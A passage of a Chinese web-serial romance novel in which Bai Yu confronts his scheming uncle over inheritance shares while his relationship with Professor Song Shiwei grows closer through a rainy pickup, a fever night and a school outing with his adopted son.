陆正真很久没见过他表弟这幅样子了,都差点忘了为什么圈子里的人都不敢惹白榆。 他是真疯。 白榆靠在机车上,懒洋洋的说道:“我不喜欢用暴力解决问题。” “对吧?”白榆一脚踩在陆正真脸上,脸上没有一丝表情的问道,“你们到底想干什么?” * * * “咕噜咕噜……咳,咳。”陆正真从水里起来,肺部重新进入空气,拼命呼吸着,连在心底问候白榆十八代祖宗的力气都没了。 白榆蹲在江边,掐住陆正真的脖子,感觉差不多了,把人拽了上来,扔在岸边。 白榆把刚从陆正真口袋里搜刮出来的手机打开,问道:“手机密码多少?” 几次濒死恐惧笼罩在陆正真心头,陆正真没什么骨气的暴出一串数字。 白榆打开了陆正真的手机,随便在对方的聊天软件里看了一圈,发现了陆正真交的一堆‘女友’。 白榆恶心地把聊天软件关了,用陆正真的手机拨通了陆尚电话。 电话短暂的响了几秒后,被人接起来,“喂,这个点你给我打电话干什么?” 白榆没出声,安静了一会才说道:“是我,白榆。” 电话那头短暂的沉默后,又换上了一副亲切和蔼的声音,“小榆啊,这么晚给舅舅打电话是有什么事吗?” 白榆没心情和他兜弯子,直白了当地说道:“你把那个模型弄成我妈的样子是什么意思。” 陆尚:“你说什么?什么模型?出什么事了吗?” 白榆心底有股火起来了,“查下去。能查出结果是早晚的事。” 白榆站起来,用眼神示意别人看着陆正真,自己朝着没有人的地方走了过去,他找了个安静的地,说道:“你把模型弄成我妈走的样子,放我家门口。” 白榆没管电话那头的沉默,自顾自的说下去,“你们要是只是不想我和叶林接触,方便你控制的话,没那个必要做到这个份上。” “白榆!”陆尚没想到白榆会直接捅破这最后一层窗户纸,没控制住情绪,吼了出来。 吵的厉害,白榆把手机拿的离耳朵远了一些,语气平淡的继续说道,“你想让我死。” 电话那头,瞬间安静了下来。 “可能没直接这么想吧。但心底有这种意图的。想让我死。或者抑郁。情绪失控。随便什么吧。”白榆把手插在兜里,晚上江边的风很大,他耳边都是风的声音。 “你说什么呢。我可是你亲舅舅,怎么可能会这么想。”陆尚出了一手的冷汗,屏住呼吸,小心地思考着白榆的心思。 “以前不至于做到这个地步,现在……”白榆低下头,看着路上的石子,思考了一会,“我收养孩子的事了。嗯,你不是我遗产的第一顺位继承人了。还是我和叶林吃饭的事,你知道了。又或者是,其他股东又向你施压了,你把控不住公司了。” “可能都有吧。”白榆无所谓地说道,抬脚踢起了一颗石子。 陆尚知道白榆聪明,他这个侄子从小就这样不怎么说话,但心底什么都清楚。他强行镇定下来,试图打亲情牌,他现在必须把白榆稳定下来,“不是你想的这样,舅舅是……” 但白榆没心情听他继续说下去了,出声打断,“我打算把我妈留给我的股份都卖了。” “什么!”这句话像是一颗惊雷一样,陆尚的声音一顿,刚平复的情绪完全没用了,暴怒地说道,“卖给谁?这可是陆家的公司。你要把股份卖给外人?” 白榆换了只手拿手机,“卖给谁你不清楚吗。对方都找我那么久了,价格都谈好了。” 这种像是甩掉一滩垃圾一样,把公司甩掉的态度,彻底让陆尚忍不了了,“如果不是你妈,不是你。我能到这一步。公司能到这一步。我爸死的时候,就不应该给你妈股份,她给陆家做什么了。现在我在董事会的席位本来就没多少了,你……” 白榆把电话挂了。 * * * 苏城,酒吧。 谢昀澈打开包间的门,在某个安静的角落里发现白榆正拿着笔,奋力的写着什么,吧台上摊满了一堆糖纸皮。 起码有个二、三十张的样子。 谢昀澈左眼皮忍不住一跳,“你在干什么?” “抄作业。”白榆举起加了冰块的气泡水,喝了一大口,嘴里还嚼着糖,说道,“关于××的观后感想。马原课作业,明天要交。” 谢昀澈额角在跳,“陆正真怎么样了?” “不知道。现在应该在医院吧。”白榆头都没抬一下的说道,“我打算把我妈她们家公司的股份全卖了。” 谢昀澈卡壳了一下,“你想好了吗?” 白榆点头,“嗯。” 谢昀澈点了根烟,夹在指尖说道:“……这样也好。彻底把一些破事了断了。” “嗯。”白榆还在对着网上的模板在抄他的观后感。 他手机忽然响了一下。 白榆打开手机,是宋时蔚的消息。 【宋时蔚:睡着了吗?】 白榆用一种能把手机盯出洞的眼神,看着聊天界面,过了几秒后,还是回了。 【树:还没睡】 下一秒,宋时蔚的电话打了过来。 白榆心里毛毛的,顶着谢昀澈快要实体化的视线,找了个没什么噪音的地方接电话。 “在外面?”宋时蔚的声音有些沉。 “没有。”白榆迅速说,“在家。准备睡觉了。” 为了增加可信性,白榆故意补充了细节,“安安刚睡着,我喝点水也要睡了。” 如果刚才还是在问,现在宋时蔚可以确定了。 这小孩不在家。 宋时蔚无奈的叹了声气,把声音放的更低了,又问了一遍,“在哪呢?” 白榆:“……我在外面。” “在外面哪里?”宋时蔚继续追问。 “酒吧。”见瞒不过去了,白榆自暴自弃地说道,还不忘解释一句,“朋友开的酒吧” “嗯。”宋时蔚记起刚查到的东西,问道,“喝酒了吗?” 白榆:“没喝。我不喝酒。” “好。”宋时蔚坐在桌前,看查到的东西,“一会要下雨。我可以去接你吗?” 白榆揉了揉耳朵,“……嗯,你来吧。” 白榆发了个定位给宋时蔚,宋时蔚来的很快,不到二十分钟就到了。 白榆出来的时候,天上已经在飘小雨了,看天色有越下越大的趋势,他没拿伞,反正也就几步路,他打算淋着雨过去。 宋时蔚把车临时停在了酒吧后面的一个小门,打了把伞,笼在白榆头上,“不在玩一会来吗?” 白榆:“不了。没什么可玩的。” 宋时蔚:“不和你的朋友打声招呼吗?” 朋友? 白榆有种不详的预感。 他一回头,发现那个连同时两个人进出,都挤不下的小门,门框上趴了起码七八只脑袋。 一群人探头探脑的。 被发现后,一群脑袋急着往回缩,一个没缩好,撞到一块了。 “诶!” “谁踩我脚了。” “谁扒我裤子了!!!” 白榆:“……” 短暂的骚乱后,见躲不下去了,只能走了出来,因为门太小,他们还只能挨个往外走,围成了一团,好奇的看着宋时蔚。 场面安静了,几秒后,不知道谁开的头,一群人跟着喊道。 “嫂子好!” “嫂子好!” “嫂子好看!” 白榆:“…………” 宋时蔚挑了下眉,笑了下,“好啊。” “瞎叫什么呢。”白榆耳朵已经彻底红了,他拉着宋时蔚就往车里走。 车门被咚的一声关上,白榆在副驾驶上缩成一团,想找个地方把自己埋了。 尴尬的情绪太过强烈,以至于车都开出去两公里了,白榆才发现他又坐到副驾驶上了。 “你怎么来了?”白榆没话找话的说道。 “下雨了,来接你回去。”宋时蔚耐心地回答,顺口问道,“安安在家里吗?” 白榆:“没。我把安安放领居家了。” 宋时蔚语气平静地问道:“怎么不找我?” “我为什么要找你。”白榆像只炸毛的刺猬一样,一点就炸,“我不能把安安先放领居那吗?” 话音刚落下,白榆就后悔了。 他语气太不好了。 白榆又想起来上次在亲子鉴定机构,他对宋时蔚说的话。 不是第一次了,他一情绪不好就,就对宋时蔚态度不好。 明明这事情和宋时蔚没任何关系的。 明明在别人面前不这样的。 控制不好自己的情绪 白榆用力咬着唇,深吸了一口气,正准备道歉。 “当然可以,你做的没错。”宋时蔚从后视镜,看了白榆一眼,语气放轻,“我只是觉得,如果有需要可以随时找我。” 宋时蔚发觉白榆的情绪,远比他想象中的还要糟糕,“照顾你和安安,是我的责任。我应该做的。你可以随时来找我。” 白榆僵住,“对不起。” 宋时蔚的音调不高不低,“嗯?” 白榆把手往后缩,不自在的动了一下,“我刚是不是态度很不好。” 我是不是老是对你乱发脾气。 “没有。”红灯到了,宋时蔚把车暂时停了下来,他声音里带着一点笑意,伸手摸了摸白榆的软毛,认真地说道,“你很好。” 白榆:“哦。” 白榆咬了下舌头,发现他心跳又不正常了。 他喜欢宋时蔚。 第76章 “我有几件衣服, 是不是在你的屋子那?”白榆问道。 宋时蔚皱眉,不明白白榆为什么会忽然提起这个问题,“是有几件, 怎么了?” “哦。你这两天有空吗?”白榆装作随口一问的样子,眨了下眼睛,“我去拿回来吧。” 宋时蔚一顿,“怎么忽然要拿?” “没什么。我就是觉得,我的东西一直放你呢, 不太好。”白榆把头抬了起来,在看车顶。 “没什么不好的。”宋时蔚适当的把车速放慢了, “你下次来住着,换洗也方便。” “我别老是去你那住了,都不方便。幼儿园那也不可能一直瞒着。实在不行,我下次和幼儿园说清楚吧。对不起,我之前撒谎的时候,没和你商量,你还要配合着我跟学校演戏。” 宋时蔚发觉了不对, 他不是回避问题的人,想和白榆聊清楚,但是…… 宋时蔚想起白榆情绪的问题,抓住方向盘的手一紧, “我们下次再说吧。” “快到了。”白榆也觉得气氛不太对,盯着车窗外看,“停这就行了,我自己回去就行。” 白榆打开车门,往外面冲。 他的胳膊被拉住了。 白榆回头看。 宋时蔚的眼睑狭长,黑色的眼眸透过单边眼镜看着他, 泛着青筋的大手抓住他的关节,轻而易举的握住了他的手臂。 “把伞拿上。”宋时蔚嗓音低沉。 “……哦。”白榆接过宋时蔚拿来的伞。 白榆把宋时蔚的伞撑开,往小区走。 隔着巨大的雨雾,宋时蔚在后面,看着白榆的背影,一直到他彻底离开。 宋时蔚的伞是一把很大的双人伞,白榆一个人撑着,能将他整个人完全遮住。 白榆到楼上,犹豫了几秒,还是去敲了隔壁的门。 黎默很快就过来开了门。 白榆礼貌地问道:“打扰了。你们都睡了吗?” “已经睡了。”黎默有些意外,“白先生,这么早就回来了啊?” “嗯。”这么晚敲女生门,白榆有些不好意思,“那我去把安安抱回家睡去吧。谢谢,麻烦你了。” 竖着耳朵听见门口动静的小崽崽把卧室门推开,“爸爸!” 白予安没穿拖鞋,光着脚踩在地上,噔噔噔的朝白榆跑了过来,“爸爸!” “小弟弟!”卧室里又快速探出来一颗黑色的脑袋。 黎渝自己也没穿拖鞋,但是他手里拿着安安的拖鞋,跟在白予安后面,也急忙跑了过来,“安安,你的拖鞋。不要光脚踩在地上。” 以为他们两个都睡了的黎默:“……” 正在生气的安安:●。●# 白予安躲在白榆后面。 黎渝拿着安安的拖鞋,在白榆面前停下来了,他站的笔直,对白榆点了一下头,礼貌地打招呼,“叔叔好。” 白榆头一次被人叫叔叔,有点不习惯,把白予安抱了起来,“你好。” “安安要回家睡。”白予安贴在白榆身上说着自己的诉求。 白榆:“谢谢。我先带安安回去了。” “嗯,好。”黎默挥手和安安道别,“那安安再见。” 安安也挥了挥手,“姐姐,再见。” 黎渝抿了下唇,有些不舍得,但还是朝安安道别。 安安没有理他。 小崽崽的情绪很好看出来,不满就快要写到脸上了,小嘴撅着,不说话了。 哼! * * * 那天在车上的事,后面并没有说清楚,反而发酵的更严重了。 严重具体表现为,白榆在刻意的和他划分出界限。 不在主动发消息。 不在电话交流。 拒绝任何共处的可能。 甚至会提前计算好时间和他错开。 宋时蔚不知道发生了什么,他试着和白榆沟通,这小孩却每一次都跑的没影。 宋时蔚心情有些烦躁。 他很少有这样的感觉,更少见的是,他不知道该怎么去做。 门外响起来敲门的声音。 宋时蔚压下情绪,“请进。” “教授,早。”唐绪推门进来 宋时蔚:“早。” 唐绪照例给宋时蔚汇报日程后,拿出一份文件,放在宋时蔚桌子上,“关于陆氏的专利的独占许可。到期后已经确定不在授权了吗。对方公司的人过来,愿意再谈分成,诚意很足。要见一面吗?” 宋时蔚:“不用。” 唐绪把话带到,“好的,那我们继续推进了。” 陆氏的部分产业,过度依赖于这份独占专利的授权,过半的毛利率来自于专利壁垒。一旦合同到期,如果后续无法续约,需要重构生产线,支付高额度的成本。如果股东不愿意注资缓解现金流,这部分产业估计是保不住了。 公司现在的总裁陆尚早些年,为了快速拉投资和股东签了对赌协议,一旦他这条产业链保不住,收益达不到,当初逼他签协议的股东们,很有可能会拿着条款要他赔光家产,从董事会滚蛋。 唐绪不知道为什么宋时蔚会忽然想起研究所的这份专利授权,并且临时开会,亲子去处理这件事,但她只负责为宋时蔚办事。 谈完正事,唐绪问起了别的事,“最近,您看起来心情不怎么样。” 宋时蔚一顿,“这么明显吗。” 唐绪耸肩,“是的。” 宋时蔚不是个会把情绪带到工作中的人,甚至在以前唐绪觉得宋时蔚就没什么情绪。 少见宋时蔚这个样子,唐绪关心了两句,“方便问一下,是什么导致的吗?” 唐绪思考着,觉得答案还是很明显。 不可能是工作和研究上的事,那就只能是感情问题了。 唐绪又想起来某位神秘的,疑似和教授同居的,二十几岁的,‘小孩’。 宋时蔚自嘲似的笑了下,没回答。 怎么回答。 他算什么……小叔叔? 说,自己的‘侄子’最近在刻意和他划分出界限,疑似‘青春期’到了,不喜欢搭理老年人了? 宋时蔚被自己的想法弄笑了。 这话要是给人说,估计都会认为自己这个‘叔叔’管的太宽了。 唐绪又聊了两句别的,就离开了办公室,合同的事有一堆事要她忙的。 宋时蔚端起咖啡喝了一口,手机正巧这个时候收到了白榆的消息。 【树:我刚和安安班主任沟通了,和她先约着见一面。我打算把我和你的真实关系,先给她说,再和幼儿园那边解释清楚】 【树:不会影响到你和安安的。对不起,这段时间我撒谎连累你了】 宋时蔚拿着咖啡的手一顿。 宋时蔚发现他或许,远比想象中的更在意在幼儿园的那层虚假的关系。 又或者说,他忍受不了白榆这种要彻底和他划分清楚的举动。 宋时蔚在这之前,从未觉得这世界上有谁是离不开谁的。 理智、独立、责任才是他面对感情的态度。 但此时,宋时蔚脑中的某根神经断了。 【宋时蔚:这件事,我们在谈】 【树:好】 白榆觉得他应该尊重宋时蔚的意见。 尤其是宋时蔚还是‘受害者’。 【宋时蔚:你现在在哪,我去找你】 【树:现在?我在b大东门附近的奶茶店】 【宋时蔚:发个定位给我。我十五分钟左右到】 宋时蔚是个喜欢提前做安排的人,白榆没见过对方这么急的样子,犹豫了几秒把定位发了过去。 从研究所开车到b大附近不算远。 宋时蔚在车上,平复好情绪,他不想把这份情绪带给白榆。 不到十五分钟,宋时蔚就到了定位上的咖啡店。 隔了很远,宋时蔚就看见白榆了。 不管站在多少人中,白榆都有着能让人一眼锁定的能力。 他不是一个人,旁边还站了另一个人。 是那次在宣荣见过的,瘦瘦高高的那个男的。 白榆的同龄的同学。 宋时蔚不是个擅长吃醋的人,如果有情敌,早点出手解决后患才是明智的做法。 只是他没那个资格而已。 宋时蔚把车临时停在路边,从车上下来,大步朝着白榆在的地方走去。 宋时蔚的身高长相都有些过于出众了,一路上吸引了不少视线。 唐豫南认出宋时蔚,他下意识的站直了身子,微微低头,发觉宋时蔚在朝这个方向走来,主动喊道,“宋教授。” “你好。”宋时蔚颔首。 “您好。”唐豫南有些拘谨。 白榆手上拿着杯奶茶,耳朵上的有线耳机没摘,眉眼压着,他发现宋时蔚后,明显的一僵,眼睛微微睁大地看着宋时蔚。 宋时蔚:“等很久了吗?” “没。”白榆把吸管从嘴里拿出,视线乱飞,错开宋时蔚的目光。 白榆对他人的感情变化格外敏感,他第一次见宋时蔚这个样子。 “您和白榆认识?”唐旭想到那次在宣荣,白榆过分炙热的目光。 “嗯。” 宋时蔚走到白榆身后,微微前倾,贴近白榆的脊背,身躯自上而下罩住白单薄的身形,声音色相当低沉而磁性,“我们认识。” 相处几年了,唐豫南清楚,白榆骨子里抗拒和别人过分的接触。 这个距离已经超过白榆的安全距离了。 唐豫南下意识的握紧拳头,和宋时蔚的眼神对视上了。 宋时蔚侧着脸垂下眼帘,视线的余光撇着他,一只手在白榆的身后,虚搂住白榆,没什么感情的朝他扫了一眼。 这是一个占有性极其的举动。 唐豫南看懂了这个眼神。 这个人,在向他宣誓主权。 唐豫南脸色发白。 第77章 【把稿子复制错了, 是旧版,先别看,根据评论区意见打算改成番外】 不知道是不是淋雨的缘故, 白榆的体温快速升高着。等到了屋子里,宋时蔚看着体温计测量的结果,忍不住皱起了眉。 宋时蔚拿了块大毛巾过来,擦着白榆的头发。 然而生病了的小朋友并不配合,往前一闪, 哒哒的跑走了。 因为发烧的缘故,白榆脸颊发红, “头发都快干了,不用擦。” 从某些方面来讲,白榆和白予安出奇的一致,他们都不喜欢不熟的人摸他们的头。 虽然上次宋时蔚摸没反应,但上次是上次,这次是这次。 虽然的虽然白榆也不知道这次和上次有什么区别,但他现在就是不可以让宋时蔚摸。 宋时蔚也看出来了白榆的抗拒, 把毛巾搭在白榆头顶,“那你自己擦。” 和展开的毛巾一比,白榆整个脑袋就显得小了不少,毛巾搭在上面, 像个新娘子的盖头一样,把白榆遮的严严实实的。 宋时蔚低笑了一声,“不好意思。” 白榆:# ╰_╯ 绝对是故意的。 白榆沉着个脸,在擦头发。 见小朋友有认真在擦他的小白毛,宋时蔚就放心了,他从衣柜里拿了一套睡衣过来, “先换衣服到床上躺一会,我去给你找药。” “嗯。”白榆头也不抬的说道。 见宋时蔚走了,白榆随便擦了两把就把毛巾扔一边去了,把他身上这套……非主流的衣服脱了,换上睡衣。 白榆解着他脖子上的颈带,发现好像太久不戴了,解不开了?! 白榆用力扯了几下,没扯下来他脖子还跟着疼,就干脆放弃了。 算了,等明天再说吧,白榆钻到被子里想道。 可能是因为发烧的原因,刚挨到枕头眼皮就沉重的合上了,白榆迅速睡了过去。 “嗡嗡——” “嗡嗡——” 手机的震动声,在白榆耳边吵个不停。 白榆皱着眉,终于在电话自动挂断又被人坚持不懈的再打过来后,艰难的摸出了手机。 白榆嗓子发干,不耐烦的问道:“谁。” “小榆吗,我是舅舅。”陆尚的声音从电话那头传了过来,“我刚刚接到你哥哥的电话,你哥哥……” 白榆支着床坐了起来,直接打断了陆尚,不带感情的说道:“嗯,是我干的。你直接报警就可以了。” 陆尚被呛到了,一时间连道德高地站不住了,准备好的话术不知道该怎么说。 白榆靠在枕头上,仰头望着天花板,突然觉得很恶心,反胃的感觉一阵一阵的涌起。 他第一次彻底没心情去听陆尚想说些什么,声音沙哑的问道:“最近你哪里很困难吗?” 问完这句话,白榆突然觉得冷。 他看着被子上的水滴,才反应过来自己掉眼泪了。 哭什么? 有什么可哭的? 白榆用手揉了揉眼睛,用力抿着唇,泪水却不受控制的往下落。 陆尚:“怎么会这么说呢,舅舅这边是有点小问题,但是……” 白榆已经听不清对方在说什么了,他努力深呼吸着,试图让自己的声线平稳下来。 “我知道你一直想要我妈留下来的遗产。” “我也知道你和所有人都想让我去和叶林争。” “希望我这辈子都别走出来。” 白榆每说完一句话,都要停一下。他努力去调整着自己的声音,不要让别人听出来。 他不想都这种情况下了,他还可怜兮兮的在犯贱。 陆尚听着心里发沉,却没都说什么。 “陆尚。”白榆这是头一次直接叫对方名字,他深吸了一口气,尽量平和的说道,“我收养了一个孩子。” 陆尚还没从这个大雷中缓过声,就听见白榆继续说,“我准备把股份卖了。” 陆尚彻底坐不住了,声音明显严肃了起来,“你要卖给谁,小榆你要想清楚,我们才是一家人,你……” 白榆直接挂掉了电话。 他小的时候,其实不是这样的。 那个时候,白漾整天不在家,叶林刚回来和他关系也不好。陆尚有的时候会偷偷的冒充他爸爸,去给他开家长会,给他签字,会拉着他的手跟他说就算白家不要他也没关系,舅舅要他。 陆正真也是一个哪怕家里不给他发零花钱,也会用仅有的硬币买零食分他一半的表哥。 白榆发现被子上又多了几滴水珠。 他吸了吸鼻子,往被子里缩,把整个都埋在被子里。 白榆真的不想哭。 他不想为别人掉眼泪,然而有时候一些生理反应是他控制不住的。 宋时蔚端着药和一杯温水推门走进来的时候,就看见床上鼓起来了一个大包。 宋时蔚轻声叫道:“白榆。” 白榆没听见推门声,被宋时蔚的声音吓了一跳。他用袖子尽快擦干眼泪,冷着脸从被子里冒了出来。 宋时蔚没问,白榆却主动解释了起来,“我刚刚钻到被子里的时候不小心睡着了。” “嗯。”宋时蔚的视线在白榆的眼尾停顿了几秒。 宋时蔚把托盘放在床头,把上面的碗拿了过去,“来,先把药吃了。” 白榆看着棕色的液体,沉默了两秒,“你家没胶囊吗?” “有。”还没等白榆松一口气,就听见宋时蔚继续说道,“你可以先吃胶囊,在喝药。” 白榆试图挣扎,“我不能只吃胶囊吗?” 宋时蔚无情的说,“不可以。” 白榆躺了下去,当做没看见宋时蔚,“我病的不重,是药三分毒。很多医生都不建议孩子低烧的时候,给他们吃药的,这样会破坏人体自身的免疫系统。” 宋时蔚:“是吗。” 白榆没什么底气的补充,“当然成人也是这样的。” 宋时蔚:“三十八度七,我相信任何一个医生都不会建议你自愈的。” “我自己能好。”白榆闭上了眼,“我以前发烧的时候,从来不吃药现在依旧好好的。” “乖。”宋时蔚把手贴在白榆滚烫的额头上,耐着性子哄道,“就一小碗,很快就没了。” 白榆发动了自己的被动技能——选择性耳聋。 他听不见。 宋时蔚无奈的叹了口气。 他没照顾过孩子。理论上来讲,白榆已经二十岁了,他喝不喝冲剂,自己都应该尊重对方的选择。 但感情上…… 宋时蔚推了推床上的‘蝉蛹’,稍微有点强势的说道:“来,我喂你。” 白榆见宋时蔚舀了一勺子药,递到他嘴边,一幅真的要喂他的样子,蹭的一下就坐起来了。 白榆往后避了避,“我自己喝。” 宋时蔚挑了下眉,把碗递了过去。 白榆端着碗,看着棕色的液体,微微有些出神。 感冒冲剂又不是毒药,喝了死不了。他自己一个人肯定不会喝,但在别人面前,他也不会为了这种小事,和别人耍脾气。 当然如果有人愿意哄着他,他也想就这么被人哄一下。 宋时蔚刚在哄他。 白榆心底莫名跳出了这句话。 这个认识,让白榆端着碗的指尖稍稍收紧。 他咬了下自己的舌尖,把放在一边的胶囊也拿了起来,端起碗一口气把里面的药喝了。 长痛不如短痛……好难喝。 白榆面色铁青的把空碗放到床头的柜台上。 和大部分骗发烧的孩子喝水的家长一样,宋时蔚把小小的一包冲剂倒入了满满一碗水中,白榆喝完后,瞬间就又钻回了杯子里,整个人都皱了起来。 难喝死了。 怎么会有感冒冲剂……这么反人类的东西。 宋时蔚轻声说道:“啊。” 白榆下意识的张开嘴,一颗糖被塞到了嘴里。 青梅味的。 白榆的舌尖顶了下糖。 这好像是他经常吃的那个牌子的糖。 白榆含糊不清的说道:“哪来的糖?” 给你买的。 宋时蔚没说话。 他把手掌贴在白榆的额头上,感受了下对方的体温,“下次买药的时候,我会注意尽量不买冲剂的。” 白榆很想说‘你买不买冲剂和我有什么关系’,话到嘴边却变成了干巴巴的一声哦。 白榆的眼角扫了宋时蔚一眼,像直海豹翻身一样,啪的一下给自己翻了个面。 白榆把脑袋埋在枕头里。 他知道他现在很病态。 但他现在很想有人来……哄他一下。 宋时蔚把卧室的灯关了,只在床头留了一盏小夜灯。 他坐在床边,食指不经意的和拇指轻轻的摩挲了一下。 软的。 他刚才碰到舌苔了。 月色被厚重的窗帘挡在外面,黢黑的屋内只剩下了这点暖光。 宋时蔚垂下眼帘,指尖轻点了一下白榆脖子上的颈圈,低声问道:“这个怎么没取下来。” 隔着一层皮质品,指尖的触感仿佛被放大了似的,白榆闷声说道:“摘不下来。” 颈圈扣的很紧,黑色的皮质品和脖颈接触的地方被勒出了红痕。白榆皮肤白,这点红痕看着有些吓人。 宋时蔚皱了下眉,伸手放到了白榆的脖子上。 白榆之前还没太大感觉,宋时蔚的手碰到他脖子的时候,白榆才切实的意识到了,他在发烧。 宋时蔚的手是凉的。 白榆下意识的往旁边躲。 “别动。”宋时蔚跟着白榆的动作,往床上移,低声说道,“我帮你解。 白榆把手臂放在枕头上,下巴搭在手臂,看着前面的床板,小声应道:“……哦” 宋时蔚的手压着他的命门。 白榆吞咽了几次,感觉怪怪的,“还没好吗?” 宋时蔚:“等一下。” 连接处的金属,不小心卡到了白榆的脖颈。房内光线昏暗,宋时蔚看不太清,附下身子,肘臂支在白榆的脖颈两侧。 余光不经意间朝着宽大的睡衣往下扫了一眼, 少年漂亮的肩胛骨下,是一层附着薄薄肌肉的细腻肌理,腰身顺着白榆的动作稍稍下沉,影影绰绰的能看见睡一下一对半掩半露的腰窝。 宋时蔚动作忽顿,收回了视线。 安静的屋内只剩下两人的呼吸声。 第 65 章 第 65 章 白榆有些不舒服,忍不住往前移了一点,小声说道:“还没好吗?” 他倒也不疼,就是……这个姿势很奇怪。 白榆低下头,这个角度他能清晰的看见宋时蔚附在他身上,投下来的影子。 宋时蔚的声音发沉,“马上就好。” 白榆不太情愿的说道:“好吧。” 宋时蔚垂下眼帘,眼眸盯着白榆的脖颈,抓着颈圈的手却迟迟没有动。 他下面。 宋时蔚觉得他可能疯了。 白榆觉得这个马上好像有点久。 而且他脖子还有点……痒。 又痒又疼的。 白榆说不上来这种感觉,脖子上估计破皮了,皮制的带子在上面稍微一动就摩的疼。但宋时蔚的手又好像在挠痒痒一样,每次一不小心碰到了就又……很痒。 “别弄了……”白榆支着床,猛地起来,后背却直接撞到了宋时蔚身上。 颈圈还卡在脖子上,下面皮肤明显是破皮了,颈圈不小心撞到宋时蔚的肩膀后,白榆条件反射的发出了声音,“嗯。” 疼。 白榆轻轻摸着身后的颈圈,整张脸都皱了起来,下意识的转过头往后看。 他还没转过去,眼前忽的一黑,再次反应过来的时候,宋时蔚的手正压着他的脑袋,把他按在了床上。 白榆的脸埋在了柔软的枕头上,身体条件反射的绷紧,“你……” “乖,别动。” 宋时蔚低哑的声音在白榆耳边响起。 说着别动,白榆却能明显感觉到他脑袋上那只手的力气放轻了,以一种更偏向于扶摸的形式碰着他的头发。 白榆紧绷的身体忽的又软了下来,他觉得宋时蔚有哪里不太对。 还有对方的呼吸声……是不是有点太大了。 “抱歉,我……不是故意的。” 白榆听见宋时蔚叹了口气,移开了按着他头的手。 “很快就好。”宋时蔚的声音低沉,用一种近乎哄小孩的语气对他说道,“在等我一下下好不好。” 白榆的火气忽然就消了大半,“……哦。” 宋时蔚状似不经意的把左腿搭在右腿上,手上尽可能迅速的去解着白榆的颈圈。 “好了。”宋时蔚把颈圈彻底从白榆脖子上取下来。 宋时蔚看着白榆脖子上的红痕,“破了点皮。” “谢谢。”白榆摸着自己的脖子。 宋时蔚把灯关了,从床上站起来,“我先出去了,你早点睡。保温杯里有水,不舒服给的话,我打电话,我就在楼上。” “好。”白榆看着宋时蔚离开的背影,总觉得宋时蔚有哪里不对。 * * * 宋时蔚从房间出来后,直接去了浴室。 他把龙头拧到冷水的那边,等下身波涛汹涌的欲望平息的差不多了,才从浴室里出来。 宋时蔚简单披了件浴袍,走到阳台给自己点了根烟。 他刚起反应了。 艹 宋时蔚看着烟头上零星的火光,微眯起眼,第一次觉得生活彻底超出了他的预计。 外面的雨刚停,阳台上还没来得及放回去的仙人掌被淋了个透彻,但宋时蔚现在一时半会,没有心情去管它们。 宋时蔚抽了口烟。 他刚在床上看见白榆还只是有反应,对方撞到他怀里的时候,他彻底硬了。 宋时蔚没少接触过同性恋群体,国内还是多少还是要保守一点,在国外同性恋群体近几年并不罕见。 但宋时蔚不觉的他是同性恋群体。 起码在遇到白榆之前,不觉的。他从来没对任何一个人的**产生过反应。 宋时蔚蹙起眉,把手靠在阳台的栏杆上。 他刚才是真的想上白榆。 *** 早上八点多,白榆支着床,缓慢的坐起来。 头疼。 白榆蹙眉,端起旁边的水杯,喝了口水。 他嗓子里像卡着什么东西一样,吞咽的时候有明显的异物感。 白榆没忍住低着头咳嗽了几声。 昨天晚上……他梦见以前的事了。 白榆沉默的坐在床上,感觉整个脑袋闷闷的,提不起精神来。 大概过了十来分钟,白榆才穿上拖鞋缓慢的往外面走。 “爸爸。”他刚打开门,就看见白予安像个小炮弹一样,朝他发射过来。 白榆下意识的搂住了怀里的小崽崽。 ??? 他家崽怎么在这里。 白榆抬头往落地窗外看了一眼。 睡久了的大脑宕机了两秒后,蹦出来一个结果。 我……一觉睡到下午了? 老师有没有点名? 我不会旷课了吧!!! 白榆犹如雷劈,当即焦在原地。 白予安眨了眨眼,仰着小脑袋看着忽然精神(?)起来的爸爸。 “醒了吗。”宋时蔚穿着件黑色的围裙从厨房里走了过来,伸手去摸了摸白榆的额头,“不烧了。” 宋时蔚放松了些。 他明天就要走了,如果白榆现在还没退烧,行程可能还要在安排。 “先吃早饭吧,一会还要去学校。” 宋时蔚勾起唇角,把身后的围裙解开。 白榆额头上还留着宋时蔚的体温,看着对方的动作一怔,“……哦。” 晨光下,宋时蔚解围裙的样子,看起来格外的温馨。 白榆低头看着怀里的白予安。 有孩子,有……孩子他爹,他们像是真的是一家人一样。 早餐是中西合并的,小米粥配面包加果酱。虽然有点奇怪,但白榆吃的挺开心的。 白榆咬了一口煎蛋,“对了安安怎么没去幼儿园?” 宋时蔚轻描淡写的说,“我早上送他去上学的时候,他说要过来陪你。” 白榆思考了两秒如果白予安少去幼儿园一天会怎么样。 什么也不会发生。 白榆低下头继续去吃饭。 他崽好像无论是在学习还是和同学相处方面从来都没让他操过心。 宋时蔚:“早上有课吗?” 白榆:“早上 第一节没课,第二节有。” “嗯。”宋时蔚用陶瓷刀给面包涂上一层果酱,“我一会先送你去学校,在带着白予安去研究所。” 白榆咬面包的动作一顿,安静了两秒后说道:“之前忙不开的时候,都是你带着安安去工作的。这次我带安安去学校吧。有老师请假,我今天就上午这一节课。在大教室上,坐在后面的话,老师看不见安安的。” “好。”宋时蔚的声音里带着笑意,把涂好果酱的面包夹给白榆,“那辛苦白榆同学了。” 白榆低头看着盘子里多出来的面包。 宋时蔚喝了口咖啡,“我后天早上,要到国外参加一个交流会,要去三天左右。” 白榆夹起盘子里的面包吃了一口,“哦。” * * * 白予安和上次一样是从学校角落的栅栏里钻进去的。 白面团子一缩一张,吧唧一下就挤进去了。 白予安跳下来后,举起两只爪爪,“当当~” “好棒,好棒。”白榆非常配合的鼓起了掌,一颗心都快要被他家崽给萌化了。 真的好可爱! “走吧,我们去上课。”白榆牵起白予安的小爪爪,往教室走。 白予安:“好!” 虽然白榆自己不清楚,但其实他在学校还挺有名的。一路上,他牵着白予安收到了几乎百分百的回头率。 “那边那个是……机械的白榆吧。” “嗯嗯。他旁边那个小孩是谁啊?和他好像啊。” “不知道诶,但是好可爱。这两个人在一起,更可爱了。” 白榆:……其实我能听的见。 白予安第一次到爸爸的学校,好奇的转着小脑袋到处看。 他指着教室的门小声说道:“爸爸,这是教室吗?” “对。”白榆在教室里打量了一圈,找了个靠后的位置。 白予安垫着脚尖爬到座位上坐好。 前面的哥哥挡住安安了。 白予安努力挺直身子,伸长脖子往前看。 白予安转过小脑袋给白榆抱怨,“我看不见前面。” 